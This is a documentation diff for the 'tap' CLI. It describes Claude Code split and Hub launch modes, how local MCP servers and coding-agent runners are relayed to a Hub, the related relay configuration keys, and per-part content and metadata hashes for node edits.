diff --git a/docs/ai-coding-agents/launchers.md b/docs/ai-coding-agents/launchers.md index 89b5ee0..83044fb 100644 --- a/docs/ai-coding-agents/launchers.md +++ b/docs/ai-coding-agents/launchers.md @@ -5,7 +5,9 @@ your Hub catalog and binds it to one connection-pinned Hub-backed flight root. ## Models -Hub is the only inference plane. `--model` names a catalog id: a pooled model +For Codex, opencode, and pi, Hub is the only inference plane. Claude Code +defaults to split mode (below), which adds Hub's catalog beside your own Claude +models. `--model` names a catalog id: a pooled model such as `@you/qwen3:8b`, served by your own connected relays or by a pool shared with you (see [`tap relay`](relay.md)). Each id is one model however many relays back it; Hub routes each request to one of them. Without `--model` the launch @@ -27,7 +29,7 @@ each one: | Harness | Protocol | Wiring | | --- | --- | --- | -| Claude Code | Anthropic Messages | `ANTHROPIC_BASE_URL`, `ANTHROPIC_AUTH_TOKEN`, and every `ANTHROPIC_*_MODEL` slot set to the model. A session-only `--settings` `modelPicker` replaces `/model`'s Claude lineup with your catalog. An inherited `ANTHROPIC_API_KEY` is unset. | +| Claude Code | Anthropic Messages | Split mode (default): `ANTHROPIC_BASE_URL` set to the forwarder's per-launch path, and a session-only `--settings` `modelPicker` adding your catalog to `/model` with `replaceBuiltInOptions: false`. `--hub`: `ANTHROPIC_BASE_URL`, `ANTHROPIC_AUTH_TOKEN`, and every `ANTHROPIC_*_MODEL` slot set to the model, the picker replaced by your catalog, and an inherited `ANTHROPIC_API_KEY` unset. `--subscription`: no model wiring at all. | | Codex | OpenAI Responses | A `foldwise` model provider passed with `-c`, with `wire_api = "responses"` and its key in `TAP_LAUNCH_KEY` | | opencode | OpenAI chat completions | A `foldwise` provider in `OPENCODE_CONFIG_CONTENT` listing the whole catalog | | pi | OpenAI chat completions | A generated extension loaded with `-e` that registers a `foldwise` provider for the whole catalog. Your `~/.pi/agent` is untouched. | @@ -39,6 +41,53 @@ per-launch key, and attaches your Hub credential to each request, refreshing a harness. `--dry-run` prints the invocation with placeholders for the forwarder's address, key, and file directory. +### Claude Code: split, hub, and subscription + +Claude Code takes one base URL, so split mode routes inside the forwarder. +Claude Code sends every model request to +`http://127.0.0.1:/t//anthropic`. A request naming a Claude +model (`claude-*`, or an alias such as `sonnet`) goes on to Anthropic exactly +as Claude Code sent it, with your own Claude login or `ANTHROPIC_API_KEY`; +`tap launch` adds nothing to it, and that credential never reaches Hub. Any +other model goes to Hub with your Hub credential, which never reaches +Anthropic or Claude Code. Without `--model` or `--agent` the session starts on +Claude Code's own default model, and background work stays on its small Claude +model. If the launching shell set `ANTHROPIC_BASE_URL`, Claude models go there +instead of `https://api.anthropic.com`. If Hub cannot list your models, the +launch warns and continues with Claude models only. + +The per-launch key sits in the path because Claude Code's credential in split +mode is your Claude login, not the key. Outside that path the forwarder still +requires the key, and the path opens no routes beyond the inference ones. + +`--hub` restores Hub-only inference: every slot on the selected Hub model. +`--subscription` leaves Claude Code's models alone, so Hub supplies only tools +and agents. + +### Claude Code: relayed tools and subagents + +Relayed MCP tools come through the tapper plugin's `tap mcp`, not through the +launch. The session's `tap mcp` sees `TAP_AGENT`, so Hub offers it the relayed +tools the `--agent` allows (`relay:tools`). Claude Code names them +`mcp__plugin_tapper_tapper__mcp______`. See +[Relay: Where relayed tools appear](relay.md#where-relayed-tools-appear). + +The agent's subagents become Claude Code subagents through `--agents`, named +`-`. `--subagents all` offers every agent you can see instead, +and `--subagents none` offers none. Each subagent gets: + +- its Hub tools, as `mcp__plugin_tapper_tapper__` (every hosted tool when + its list is empty), using `runtime_tools`, so the organization's tool policy + applies; +- its relayed tools, as `mcp__plugin_tapper_tapper__`, when both it and + the launch agent allow them; +- the built-ins in `--subagent-builtins`, by default `Read,Grep,Glob`; +- its model, when the launch can reach it; otherwise it inherits the session's. + +Hub still checks every call against the launch agent, because the MCP sessions +run as that agent. A subagent's list can narrow what it is offered but never +widen it. + The child also gets `TAP_HARNESS` and `TAP_MODEL`. Tapper reports them in orientation and telemetry as the session's identity, and they select nothing. diff --git a/docs/ai-coding-agents/mcp-setup.md b/docs/ai-coding-agents/mcp-setup.md index f6dd91c..ad6785c 100644 --- a/docs/ai-coding-agents/mcp-setup.md +++ b/docs/ai-coding-agents/mcp-setup.md @@ -110,9 +110,9 @@ explicitly configured root failed to initialize. | Tool | Description | | --- | --- | | `node_create` | Atomically create 1–100 nodes from `nodes[]`, each a markdown `content` document plus an optional YAML `meta` document; unique keys support forward/backward `{{node:key}}` content references | -| `node_edit` | Read with `node_read`, then atomically replace `content`, `meta`, or both for 1–100 nodes from `nodes[]`; every item requires that node's `expected_hash`, and one hash covers content and metadata together | -| `node_delete` | Read with `node_read`, then atomically delete 1–100 `nodes[]`; every item requires its own `expected_hash` | -| `node_move` | Read with `node_read`, then move a node using its required `expected_hash` | +| `node_edit` | Read with `node_read`, then atomically replace `content`, `meta`, or both for 1–100 nodes from `nodes[]`; supplied `content` requires `expected_content_hash` (the read's `content_hash`) and supplied `meta` requires `expected_meta_hash` (its `meta_hash`); editing one part never invalidates the other's hash | +| `node_delete` | Read with `node_read`, then atomically delete 1–100 `nodes[]`; every item requires its own `expected_hash` (the combined `hash` from `node_read`) | +| `node_move` | Read with `node_read`, then move a node using its required `expected_hash` (the combined `hash` from `node_read`) | | `keg_settings_edit` | Read the full document with `keg_settings_read`, then replace it using its required `expected_hash`; requires admin flight authority and editor/admin KEG access | Mutation inputs are array-only, every batch tool takes its items under `nodes`, @@ -121,10 +121,10 @@ and each array contains 1–100 items: ```json // node_create {"nodes":[{"key":"plan","content":"# Plan\n\nSee [task](../{{node:task}})\n","meta":"type: plan\n"}]} -// node_edit — content only, metadata only, or both under one hash -{"nodes":[{"node_id":"12","content":"# Revised\n","expected_hash":"..."}]} -{"nodes":[{"node_id":"12","meta":"type: plan\n","expected_hash":"..."}]} -{"nodes":[{"node_id":"12","content":"# Revised\n","meta":"type: plan\n","expected_hash":"..."}]} +// node_edit — content only, metadata only, or both; each part under its own hash +{"nodes":[{"node_id":"12","content":"# Revised\n","expected_content_hash":"..."}]} +{"nodes":[{"node_id":"12","meta":"type: plan\n","expected_meta_hash":"..."}]} +{"nodes":[{"node_id":"12","content":"# Revised\n","meta":"type: plan\n","expected_content_hash":"...","expected_meta_hash":"..."}]} // node_delete {"nodes":[{"node_id":"12","expected_hash":"..."},{"node_id":"13","expected_hash":"..."}]} // snapshot_create @@ -134,21 +134,28 @@ and each array contains 1–100 items: Read metadata with `node_read` and `meta_only`; take snapshots with `snapshot_create` before a large or destructive edit. Mutation results preserve request order and report `node_id`, the resulting -hash or snapshot revision, and advisory schema validation details when +hash or snapshot revision (`node_edit` results also carry the new +`content_hash` and `meta_hash`, so a follow-up edit needs no re-read), and advisory schema validation details when applicable. A failed batch returns no partial results and commits none of its changes. Reads are self-contained: each `node_read` row in `structuredContent.nodes[]` pairs -`node_id` and `hash` with that node's `content` and `meta`, matching the fields -`node_edit` accepts, so a read result can be modified and sent back without parsing -the human-readable rendering. +`node_id`, the combined `hash`, and the per-part `content_hash` and `meta_hash` +(present for the parts the read mode returned) with that node's `content` and +`meta`, matching the fields `node_edit` accepts, so a read result can be modified +and sent back without parsing. Each document is sent once, in `nodes[]`; the +text message is only a summary. `node_edit` takes `content_hash` as +`expected_content_hash` and `meta_hash` as `expected_meta_hash`; editing one part +never invalidates the other's hash. `node_delete` and `node_move` take the +combined `hash`. Every protected mutation names the read that supplies its token: `node_read` for node edits, metadata updates, moves, and removals; `keg_settings_read` for settings; `schema_read` for schema edits/deletes; and `flight_read` for flight edits/deletes. A conflict performs no operation and returns the current hash -and, when practical, current content. Merge or refetch, then retry with that -current hash. +and, when practical, current content; node conflicts also return +`currentContentHash` and `currentMetaHash`. Merge or refetch, then retry with +the current hash for what you are writing. ### Index, Diagnostics, And Safety @@ -246,6 +253,29 @@ Both transports also publish `tapper://orient` and two resource templates: Either template takes `?keg=` with a URL-escaped keg target to override the server default. +### Relayed Tools + +`tap mcp` also serves the MCP tools your relays forward to Hub (see +[Relay](relay.md#where-relayed-tools-appear)), under Hub's names: +`mcp______`, where `` is the username of the +person whose relay runs it. Claude Code shows them with the plugin's prefix, as +`mcp__plugin_tapper_tapper__mcp______`. + +- It connects to the selected Hub's `/mcp/relay` with your Hub token in the + background, so startup never waits on it and an unreachable Hub only means + no relayed tools until it answers. +- The list refreshes every 60 seconds and whenever Hub announces a change; a + tool whose relay or share went away is removed. +- Without `TAP_AGENT` you get the servers granted to your personal namespace: + your own enabled servers and the shares you accepted. With `TAP_AGENT` (set + by `tap launch --agent`) Hub offers the servers granted to that agent's + namespace, as far as its `relay:tools` allows; the agent's tool allowlist + lets relayed names through, since Hub has already gated them. +- Calls go to Hub, which forwards them to the relay serving the tool. +- `TAP_RELAY_TOOLS=off` turns relayed tools off for that server. Agents the + relay's coding runners start get it, along with `TAP_RUNNER_DEPTH`, which + also turns them off. + ## Keg Targeting Every KEG-oriented tool accepts an optional `keg` parameter to override the diff --git a/docs/ai-coding-agents/relay.md b/docs/ai-coding-agents/relay.md index bea629b..1424f2e 100644 --- a/docs/ai-coding-agents/relay.md +++ b/docs/ai-coding-agents/relay.md @@ -4,7 +4,9 @@ `tap relay` offers this machine's model providers, such as a local Ollama, to your Hub account's model catalog. Hub then routes inference for those models -through the relay. +through the relay. It can also offer the tools of local MCP servers to Hub, +see [MCP servers](#mcp-servers), and offers the coding agents installed on +this machine as tools, see [Built-in servers](#built-in-servers). ```sh tap relay @@ -90,6 +92,201 @@ serve `/embeddings`. Ollama marks its embedding models itself; for other providers, list them under `models.embeddings`. `tap launch` leaves speech and embedding models out of a harness's model list. +## MCP servers + +List MCP servers under `relay.mcp` and the relay forwards their tools to Hub. +A server is either a stdio program the relay starts or a streamable HTTP +server that is already running: + +```yaml +relay: + mcp: + everything: + command: npx + args: ["-y", "@modelcontextprotocol/server-everything"] + notes: + url: http://127.0.0.1:3000/mcp + headersFromEnv: {Authorization: NOTES_MCP_AUTH} + tools: + deny: ["delete_*"] +``` + +- The relay starts every server when it starts, lists its tools, and sends the + list to each Hub. It re-lists when a server announces a change, and on the + catalog refresh for servers that do not. A server that exits drops out of + the list and is restarted, backing off from one second to a minute. +- Hub calls a tool by the server and tool names the relay listed, with a JSON + object of arguments. It cannot name a command, URL, header, or environment + variable. Cancelling the call in Hub cancels it on the server. +- A stdio server gets `PATH`, `HOME`, `USER`, `SHELL`, `TMPDIR`, locale + settings, the variables named in `envFrom`, and the literal `env` values. + Hub tokens and provider API keys are not passed unless you name them. + `inheritEnv: true` passes the whole environment instead. The server runs in + its own process group, which the relay kills when it stops. Its stderr goes + to the relay's log at debug level. +- Each server has its own `maxConcurrent` (default 4) across all hubs, and a + `timeout` per call (default `2m`). A full server answers `overloaded`; a + call past its timeout ends with `timeout`. +- Relayed tools reach Hub's chat, Hub's `/mcp/relay` endpoint, and every + `tap mcp`, including the Claude Code plugin's server; see + [Where relayed tools appear](#where-relayed-tools-appear). In chat, every + relayed call asks for approval unless the approval setting is `full`, + whatever the server's annotations say. +- Who may call a server is decided on Hub: you enable it there, and share it + from there. A shared call runs on this machine with your server's access. +- Tools need Hub support for relay protocol 2. An older Hub gets the models + alone, and the relay logs that it does not support relayed tools. +- A relay can offer MCP servers without any providers. +- On relay protocol 3, Hub names the app each request came from (its chat, + `tap launch `, or its API), and the relay passes it to OpenRouter + providers as `X-Title` and `HTTP-Referer` so OpenRouter's logs show it. No + other provider is told. + +## Where relayed tools appear + +Hub names a relayed tool `mcp______` and offers it in +three places: + +- **Hub's chat**, to agents that allow relay tools (`relay:tools`). +- **Hub's `/mcp/relay` endpoint**, for any MCP client with a Hub token. +- **Every `tap mcp`**, including the server the Claude Code plugin starts. It + connects to `/mcp/relay` in the background and serves the relayed tools + next to the KEG tools; see + [MCP Server Setup: Relayed tools](mcp-setup.md#relayed-tools). + +A server serves no one until you enable it on Hub's Relay page. Once enabled, +it serves agents in your personal namespace. To lend it to others, share it +from the Relay page into a namespace: an organization, or another person's +personal namespace. That namespace's owner or an admin accepts the share, and +from then on it serves agents in that namespace. Tool calls run on your +machine, so a share never takes effect until it is accepted. + +Hub scopes relayed tools by the namespace of the agent asking. With an agent +(`?agent=@ns/name` on `/mcp/relay`, or `TAP_AGENT` for `tap mcp`, which +`tap launch --agent` sets) it offers the servers granted to that agent's +namespace, gated by the agent's `relay:tools`. Without an agent it offers +those granted to your personal namespace: your own enabled servers and the +shares you accepted. Set `TAP_RELAY_TOOLS=off` to keep a `tap mcp` from +offering them. + +The namespace in a tool's name is always its owner's username: +`mcp______`, wherever it was shared. + +### Why don't I see a shared server? + +A server another person runs shows up for an agent only when all of these +hold: + +1. Its owner enabled it on Hub's Relay page. +2. Its owner shared it into the agent's namespace. +3. That namespace's owner or an admin accepted the share. For your personal + namespace, that is you. +4. For an organization, its owner is still a member. +5. Their relay is online. + +For tools a whole organization should have, run them on a relay owned by a +service user who is a member, not on a person's laptop, so they do not depend +on one person's machine being on. + +## Built-in servers + +Besides the servers in `relay.mcp`, the relay can offer its own. All are off +until `relay.runners` turns them on, and each is offered only when its program +is on `PATH`: + +| Server | Runs | Turned on by | +|---|---|---| +| `claude` ("Claude Code") | `tap runner serve --runner claude` | `claude.run: true` | +| `codex` ("Codex") | `tap runner serve --runner codex` | `codex.run: true` | +| `opencode` ("opencode") | `tap runner serve --runner opencode` | `opencode.run: true` | +| `pi` ("pi") | `tap runner serve --runner pi` | `pi.run: true` | +| `claude-tools` ("Claude Code tools") | `claude mcp serve`, in the first root | `claude.tools: true` | + +Each is a server of its own, so you enable and share them on Hub one by one. +They act as you, on this machine, and inherit the relay's whole environment, +since the agents need their own credentials and configuration. A relay with no +providers and no `relay.mcp` still starts when a built-in server is turned on +and available. + +Configure them under `relay.runners`: + +```yaml +relay: + runners: + claude: + run: true # the claude server: claude_code_run + tools: true # the claude-tools server: claude mcp serve + codex: {run: true} # likewise opencode and pi + roots: [~/src, ~/work] # where a delegated task may work; default ~ + timeout: 30m # longest one task may run + maxConcurrent: 2 # tasks running at once, per server + mcp: + claude-tools: + enabled: false # a relay.mcp entry with a built-in's name replaces it +``` + +Only `claude` has `tools`: no other harness has an MCP serve mode, and the +relay refuses `tools` on `codex`, `opencode`, or `pi`. A `relay.mcp` entry with +a built-in server's name replaces that server, and `enabled: false` on it +removes the server. + +**Sharing the built-ins.** A shared call to a runner or to `claude-tools` runs +a coding agent, or a shell, with the relay user's access inside `roots`. +Share them only from a host built for it, such as a locked-down VM or +container that serves as an organization's coding worker. Narrow `roots` to +its workspace and run the relay as an unprivileged user: + +```yaml +relay: + runners: + claude: {run: true} + roots: [/workspace] +``` + +### Runner tools + +Each runner server has one tool: `claude_code_run`, `codex_run`, +`opencode_run` or `pi_run`. Each takes: + +| Argument | | +|---|---| +| `task` | The instruction, as you would type it. Required. | +| `cwd` | Absolute directory to work in. Required; it must exist and, with symlinks resolved, be under one of the roots. | +| `session` | A session id from an earlier result, to continue that conversation. | +| `model` | A model in the runner's own naming. | + +The tool runs the agent non-interactively in `cwd` (`claude -p`, +`codex exec`, `opencode run`, `pi --mode json`) and returns its final reply, +as text headed by the session id and as structured content +`{runner, session, reply, is_error}`. A run that fails, or exits non-zero, is +an error result carrying the end of its stderr. Replies over 1 MiB are +truncated. + +Each agent applies its own permission settings, and the tools add no bypass +flags. Claude Code's print mode denies anything that would need an +interactive prompt, `codex exec` runs in a read-only sandbox unless your +config grants more, and opencode and pi follow their own configuration. + +`tap runner serve` serves every installed agent, or with `--runner NAME` +just that one. It reads these variables; the relay sets the first two from +`relay.runners`: + +| Variable | Effect | +|---|---| +| `TAP_RUNNER_ROOTS` | Directories a task's `cwd` must be under, as a `PATH`-style list. Defaults to `$HOME`. | +| `TAP_RUNNER_TIMEOUT` | Longest one task may run, as a Go duration. Defaults to `30m`. | +| `TAP_RUNNER_DEPTH` | At 1 or more, every call is refused. Each agent a runner starts gets it incremented, so a delegated agent cannot delegate again. | + +Agents a runner starts also get `TAP_RELAY_TOOLS=off`, so their own `tap mcp` +does not offer relayed tools. + +## Limits + +Limits: 32 servers, 128 tools per server, 512 tools in all. A tool whose name +is not letters, digits, `.`, `_` and `-`, or whose description or input schema +is too large, is skipped with a warning. A result larger than 4 MiB reaches Hub +as an error result. + | Flag | Effect | |---|---| | `--name` | Relay name shown in Hub; overrides `relay.name` | @@ -97,5 +294,6 @@ embedding models out of a harness's model list. ## Surfaces -The relay is a long-running foreground process, so it has no MCP tool. It is -available only as a CLI command. +The relay is a long-running foreground process, so it has no MCP tool of its +own. It is available only as a CLI command. `tap runner serve` is an MCP server +the relay starts, not a command to run by hand. diff --git a/docs/configuration/user-config.md b/docs/configuration/user-config.md index e1b03a6..ce7f7ef 100644 --- a/docs/configuration/user-config.md +++ b/docs/configuration/user-config.md @@ -85,6 +85,19 @@ relay: baseUrl: http://127.0.0.1:8000/v1 models: transcription: ["whisper-1"] + mcp: + everything: # a stdio server the relay starts + command: npx + args: ["-y", "@modelcontextprotocol/server-everything"] + envFrom: [GITHUB_TOKEN] + timeout: 2m + notes: # a running streamable HTTP server + url: http://127.0.0.1:3000/mcp + headersFromEnv: {Authorization: NOTES_MCP_AUTH} + tools: {deny: ["delete_*"]} + runners: # built-in servers, all off by default + claude: {run: true, tools: true} + codex: {run: true} ``` - `enabled`: `false` makes `tap relay` refuse to start, keeping the rest of @@ -139,6 +152,46 @@ relay: API cannot set the context per request. On other providers a variant is an alias: requests go out as `from`, and Hub sees the configured limits. +- `mcp`: local MCP servers whose tools are forwarded to Hub, keyed by + the server name advertised to Hub. See + [Relay: MCP servers](../ai-coding-agents/relay.md#mcp-servers). + - `command`, `args`, `cwd`: a stdio server the relay starts. Set either + `command` or `url`, not both. + - `env`: literal variables for the server. Keep secrets out of it. + - `envFrom`: names of variables passed through from the relay's + environment. Only `PATH`, `HOME`, locale settings and a few basics are + passed otherwise. + - `inheritEnv`: pass the relay's whole environment instead. Defaults to + `false`. + - `url`: a running streamable HTTP MCP server. + - `headers`: literal headers sent to `url`. `headersFromEnv` maps a header + name to the variable holding its value, so the secret is not in the file. + - `tools.allow` / `tools.deny`: name or glob filters over the server's + tools. An empty `allow` offers every tool not denied. + - `maxConcurrent`: this server's in-flight calls across all hubs, 1–64. + Defaults to 4. + - `timeout`: longest one call may run, as a Go duration (`30s`, `5m`). + Defaults to `2m`. + - `enabled`: `false` leaves the server out. An entry named like a built-in + server (`claude`, `codex`, `opencode`, `pi`, `claude-tools`) replaces it; + with `enabled: false` alone it removes it. + - Who may call a server is decided on Hub, where you enable and share it. +- `runners`: the relay's built-in servers, all off by default and each + offered only when its CLI is on `PATH`. See + [Relay: Built-in servers](../ai-coding-agents/relay.md#built-in-servers). + - `claude.run`: offer the `claude` server (`claude_code_run`). Defaults to + `false`. + - `claude.tools`: offer the `claude-tools` server, Claude Code's own tools + through `claude mcp serve`. Defaults to `false`. + - `codex.run`, `opencode.run`, `pi.run`: offer the `codex`, `opencode`, or + `pi` server (`codex_run`, `opencode_run`, `pi_run`). Default to `false`. + These harnesses have no `tools`; the relay refuses it. + - `roots`: directories a delegated task may work in. Defaults to your home + directory. The first is also `claude-tools`' working directory. + - `timeout`: longest one task may run, as a Go duration. Defaults to `30m`. + - `maxConcurrent`: tasks running at once on each runner server, 1–64. + Defaults to 2. + What the relay reports to Hub, per model: | Provider | Max context | Served context | Reasoning | Tools, vision | diff --git a/integrations/content/authoring.md b/integrations/content/authoring.md index 367aa5a..11fd5e5 100644 --- a/integrations/content/authoring.md +++ b/integrations/content/authoring.md @@ -15,11 +15,16 @@ Example node_create arguments: ``` Before a meaningful edit, call snapshot_create. Read node_read with node_ids (or -query) and use each node_id and hash in node_edit nodes as node_id and -expected_hash. +query) and use each node_id, content_hash, and meta_hash in node_edit nodes as +node_id, expected_content_hash (required with content), and expected_meta_hash +(required with meta). content and meta are separate replacement documents; omit one to preserve it. -Inspect results and validation before proceeding. Re-read before the next -guarded mutation, since not every mutation returns a replacement hash. +Each part's hash is independent: editing content never invalidates meta_hash +and vice versa. node_edit results return the new content_hash and meta_hash, +so a follow-up edit needs no re-read. node_delete and node_move take the +combined hash from node_read. Inspect results and validation before +proceeding. Re-read before the next guarded mutation that has no returned +replacement hash. For settings use keg_settings_read minimal=false and retain the complete data and hash. For schemas use schema_read. For flights use flight_read; cover is a diff --git a/integrations/content/tool-inventory.md b/integrations/content/tool-inventory.md index a9ead7d..92f35d8 100644 --- a/integrations/content/tool-inventory.md +++ b/integrations/content/tool-inventory.md @@ -99,9 +99,9 @@ code; the index does the work in O(matches) rather than O(total). | Tool | Purpose | | ------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- | | `mcp__tapper__node_create` | Atomically create 1–100 nodes. Each is a markdown `content` document plus an optional YAML `meta` document; the title is the content's H1. Nodes in one batch reference each other with `{{node:KEY}}`. | -| `mcp__tapper__node_edit` | Call `node_read`, then atomically replace `content`, `meta`, or both for 1–100 `nodes[]`; every item requires that node's returned hash, and one hash covers content and metadata together. | -| `mcp__tapper__node_move` | Call `node_read`, then relocate a node using its required returned hash. | -| `mcp__tapper__node_delete` | Call `node_read`, then atomically remove 1–100 `nodes[]`, each carrying its own required returned hash. | +| `mcp__tapper__node_edit` | Call `node_read`, then atomically replace `content`, `meta`, or both for 1–100 `nodes[]`. Each part has its own hash: supplied `content` requires `expected_content_hash` (the read's `content_hash`) and supplied `meta` requires `expected_meta_hash` (its `meta_hash`). Editing one part never invalidates the other's hash, and results return the new `content_hash` and `meta_hash`. | +| `mcp__tapper__node_move` | Call `node_read`, then relocate a node using the combined `hash` from `node_read` as `expected_hash`. | +| `mcp__tapper__node_delete` | Call `node_read`, then atomically remove 1–100 `nodes[]`, each carrying the combined `hash` from `node_read` as `expected_hash`. | | `mcp__tapper__file_delete`, `mcp__tapper__image_delete` | Destructive attachment operations — see the Snapshots section below before calling. | | `mcp__tapper__snapshot_create` | Capture a revision before a destructive or large edit. | | `mcp__tapper__snapshot_list`, `mcp__tapper__snapshot_read` | Inspect read-only prior revisions. | @@ -111,11 +111,15 @@ code; the index does the work in O(matches) rather than O(total). Schema edits and deletes similarly require the hash from `schema_read`. Every conflict performs no operation: merge the change into returned current content or refetch with the corresponding read, then retry with the returned current -hash. - -A hash covers the resource version read. Mutations may invalidate it, and not -every mutation returns a replacement, so a sequence like edit-then-delete needs a -fresh read between the two calls rather than a reused token. Node ids are +hash — for `node_edit`, the returned `currentContentHash` or `currentMetaHash` +of the part being written. + +A hash covers the resource version read. `node_read` returns three per node: +`content_hash` and `meta_hash` for `node_edit`, and the combined `hash` for +`node_delete` and `node_move`. Mutations may invalidate a hash, and not every +mutation returns a replacement for every hash, so a sequence like +edit-then-delete needs a fresh read between the two calls rather than a reused +token. Node ids are per-keg counters as well: node 4 in one keg is unrelated to node 4 in another. ### Writing a node @@ -137,17 +141,18 @@ Use `schema_list` to see the names a keg accepts, then: {"nodes": [{"key": "a1", "content": "# Title\n\nBody", "meta": "type: document\n", "schema": "document"}]} ``` -`node_edit` takes the same two documents per item plus that node's current hash from -`node_read`, and either document may be omitted to leave it untouched: +`node_edit` takes the same two documents per item, each guarded by its own hash +from `node_read`, and either document may be omitted to leave it untouched: ```json -{"nodes": [{"node_id": "12", "content": "# Revised\n\nBody", "expected_hash": "HASH_FROM_CAT"}]} +{"nodes": [{"node_id": "12", "content": "# Revised\n\nBody", "expected_content_hash": "CONTENT_HASH_FROM_READ"}]} +{"nodes": [{"node_id": "12", "meta": "type: document\n", "expected_meta_hash": "META_HASH_FROM_READ"}]} ``` -`node_delete` carries only ids and hashes: +`node_delete` carries only ids and the combined hashes: ```json -{"nodes": [{"node_id": "12", "expected_hash": "HASH_FROM_CAT"}]} +{"nodes": [{"node_id": "12", "expected_hash": "HASH_FROM_READ"}]} ``` ## Agents diff --git a/integrations/content/troubleshooting.md b/integrations/content/troubleshooting.md index ceb42a5..5144fb8 100644 --- a/integrations/content/troubleshooting.md +++ b/integrations/content/troubleshooting.md @@ -7,9 +7,12 @@ the same operational information, including error diagnostics and recovery. YAML text; mutations use nodes arrays. Do not retry unchanged arguments. - PRECONDITION_REQUIRED: node_read, schema_read, full keg_settings_read, or flight_read - supplies the matching expected_hash. Snapshot before meaningful node edits. + supplies the matching expected_hash. node_edit needs expected_content_hash + for supplied content and expected_meta_hash for supplied meta (node_read's + content_hash and meta_hash). Snapshot before meaningful node edits. - CONFLICT: operationPerformed=false; refetch, merge the intended change, and - retry with the current hash. currentContent is diagnostic current content, + retry with the current hash (for node_edit, currentContentHash or + currentMetaHash of the part being written). currentContent is diagnostic current content, not necessarily the replacement-document format accepted by node_edit. - ORIENTATION_DENIED: inspect orient and select an accessible flight with the required authority; keg alone cannot grant access. diff --git a/integrations/rendered/claude/tapper/skills/tapper/SKILL.md b/integrations/rendered/claude/tapper/skills/tapper/SKILL.md index 1dc60cb..4757f42 100644 --- a/integrations/rendered/claude/tapper/skills/tapper/SKILL.md +++ b/integrations/rendered/claude/tapper/skills/tapper/SKILL.md @@ -143,9 +143,9 @@ code; the index does the work in O(matches) rather than O(total). | Tool | Purpose | | ------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- | | `mcp__tapper__node_create` | Atomically create 1–100 nodes. Each is a markdown `content` document plus an optional YAML `meta` document; the title is the content's H1. Nodes in one batch reference each other with `{{node:KEY}}`. | -| `mcp__tapper__node_edit` | Call `node_read`, then atomically replace `content`, `meta`, or both for 1–100 `nodes[]`; every item requires that node's returned hash, and one hash covers content and metadata together. | -| `mcp__tapper__node_move` | Call `node_read`, then relocate a node using its required returned hash. | -| `mcp__tapper__node_delete` | Call `node_read`, then atomically remove 1–100 `nodes[]`, each carrying its own required returned hash. | +| `mcp__tapper__node_edit` | Call `node_read`, then atomically replace `content`, `meta`, or both for 1–100 `nodes[]`. Each part has its own hash: supplied `content` requires `expected_content_hash` (the read's `content_hash`) and supplied `meta` requires `expected_meta_hash` (its `meta_hash`). Editing one part never invalidates the other's hash, and results return the new `content_hash` and `meta_hash`. | +| `mcp__tapper__node_move` | Call `node_read`, then relocate a node using the combined `hash` from `node_read` as `expected_hash`. | +| `mcp__tapper__node_delete` | Call `node_read`, then atomically remove 1–100 `nodes[]`, each carrying the combined `hash` from `node_read` as `expected_hash`. | | `mcp__tapper__file_delete`, `mcp__tapper__image_delete` | Destructive attachment operations — see the Snapshots section below before calling. | | `mcp__tapper__snapshot_create` | Capture a revision before a destructive or large edit. | | `mcp__tapper__snapshot_list`, `mcp__tapper__snapshot_read` | Inspect read-only prior revisions. | @@ -155,11 +155,15 @@ code; the index does the work in O(matches) rather than O(total). Schema edits and deletes similarly require the hash from `schema_read`. Every conflict performs no operation: merge the change into returned current content or refetch with the corresponding read, then retry with the returned current -hash. - -A hash covers the resource version read. Mutations may invalidate it, and not -every mutation returns a replacement, so a sequence like edit-then-delete needs a -fresh read between the two calls rather than a reused token. Node ids are +hash — for `node_edit`, the returned `currentContentHash` or `currentMetaHash` +of the part being written. + +A hash covers the resource version read. `node_read` returns three per node: +`content_hash` and `meta_hash` for `node_edit`, and the combined `hash` for +`node_delete` and `node_move`. Mutations may invalidate a hash, and not every +mutation returns a replacement for every hash, so a sequence like +edit-then-delete needs a fresh read between the two calls rather than a reused +token. Node ids are per-keg counters as well: node 4 in one keg is unrelated to node 4 in another. ### Writing a node @@ -181,17 +185,18 @@ Use `schema_list` to see the names a keg accepts, then: {"nodes": [{"key": "a1", "content": "# Title\n\nBody", "meta": "type: document\n", "schema": "document"}]} ``` -`node_edit` takes the same two documents per item plus that node's current hash from -`node_read`, and either document may be omitted to leave it untouched: +`node_edit` takes the same two documents per item, each guarded by its own hash +from `node_read`, and either document may be omitted to leave it untouched: ```json -{"nodes": [{"node_id": "12", "content": "# Revised\n\nBody", "expected_hash": "HASH_FROM_CAT"}]} +{"nodes": [{"node_id": "12", "content": "# Revised\n\nBody", "expected_content_hash": "CONTENT_HASH_FROM_READ"}]} +{"nodes": [{"node_id": "12", "meta": "type: document\n", "expected_meta_hash": "META_HASH_FROM_READ"}]} ``` -`node_delete` carries only ids and hashes: +`node_delete` carries only ids and the combined hashes: ```json -{"nodes": [{"node_id": "12", "expected_hash": "HASH_FROM_CAT"}]} +{"nodes": [{"node_id": "12", "expected_hash": "HASH_FROM_READ"}]} ``` ## Agents @@ -398,9 +403,12 @@ the same operational information, including error diagnostics and recovery. YAML text; mutations use nodes arrays. Do not retry unchanged arguments. - PRECONDITION_REQUIRED: node_read, schema_read, full keg_settings_read, or flight_read - supplies the matching expected_hash. Snapshot before meaningful node edits. + supplies the matching expected_hash. node_edit needs expected_content_hash + for supplied content and expected_meta_hash for supplied meta (node_read's + content_hash and meta_hash). Snapshot before meaningful node edits. - CONFLICT: operationPerformed=false; refetch, merge the intended change, and - retry with the current hash. currentContent is diagnostic current content, + retry with the current hash (for node_edit, currentContentHash or + currentMetaHash of the part being written). currentContent is diagnostic current content, not necessarily the replacement-document format accepted by node_edit. - ORIENTATION_DENIED: inspect orient and select an accessible flight with the required authority; keg alone cannot grant access. diff --git a/integrations/rendered/codex/tapper/skills/tapper/SKILL.md b/integrations/rendered/codex/tapper/skills/tapper/SKILL.md index 1dc60cb..4757f42 100644 --- a/integrations/rendered/codex/tapper/skills/tapper/SKILL.md +++ b/integrations/rendered/codex/tapper/skills/tapper/SKILL.md @@ -143,9 +143,9 @@ code; the index does the work in O(matches) rather than O(total). | Tool | Purpose | | ------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- | | `mcp__tapper__node_create` | Atomically create 1–100 nodes. Each is a markdown `content` document plus an optional YAML `meta` document; the title is the content's H1. Nodes in one batch reference each other with `{{node:KEY}}`. | -| `mcp__tapper__node_edit` | Call `node_read`, then atomically replace 